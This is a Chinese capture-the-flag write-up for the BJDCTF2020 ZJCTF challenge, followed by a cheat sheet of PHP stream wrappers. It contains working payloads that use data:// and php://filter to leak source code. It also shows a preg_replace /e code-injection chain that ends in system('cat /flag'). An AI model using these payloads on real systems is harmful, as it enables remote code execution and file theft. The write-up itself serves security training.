[BJDCTF2020]ZJCTF,不过如此1
进⼊题⽬,分析代码
file_get_contents() 把整个⽂件读⼊⼀个字符串中。
通过get⽅式传⼊text,file参数,text参数要包含"i have a dream",且file参数正则匹配不能含有flag
看到⽤的是file_get_contents()函数打开text参数,以及后⾯的⽂件包含函数,⾃然联想到data伪协议和php伪协议去读next.php
payload:?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
base64解密查看next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as$re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
perg_replace()函数对字符串进⾏正则处理
mixed preg_replace ( mixed$pattern , mixed$replacement , mixed$subject [, int $limit = -1 [, int &$count ]] )
函数作⽤:搜索$subject中$pattern的部分,⽤$replacement替换。但是当$pattern第⼀个参数存在e修饰符时,$replacement中参数会被当做php代码执⾏
以上代码中,/e可以执⾏远程代码注⼊,可以通过该漏洞再利⽤getFlag()函数中的eval函数再执⾏⼀次代码注⼊
payload:
next.php?\S*=${getFlag()}&cmd=system('cat /flag');
附:ctf常⽤伪协议总结
PHP伪协议
在CTF中经常使⽤的是php://filter和php://input
php://filter⽤于读取源码,php://input⽤于执⾏php代码
php://input需要post请求提交数据
php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php
data伪协议:
xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
file伪协议:
file:// ⽤于访问本地⽂件系统,如c:盘中的东西。在CTF中通常⽤来读取本地⽂件的且不受allow_url_fopen与allow_url_include的影响。file:// [⽂件的绝对路径和⽂件名]
linux 系统环境下:
winows 系统环境下:php实例代码解密
绕过file_get_contents()函数⽅式总结
1.使⽤php://input协议
- 将要GET的参数?file=php://input
-  ⽤post⽅法传⼊想要file_get_contents()函数返回的值
2.使⽤data://伪协议
- 将url改为:?file=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
- 将url改为:?xxx=data:text/plain,(url编码的内容)

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。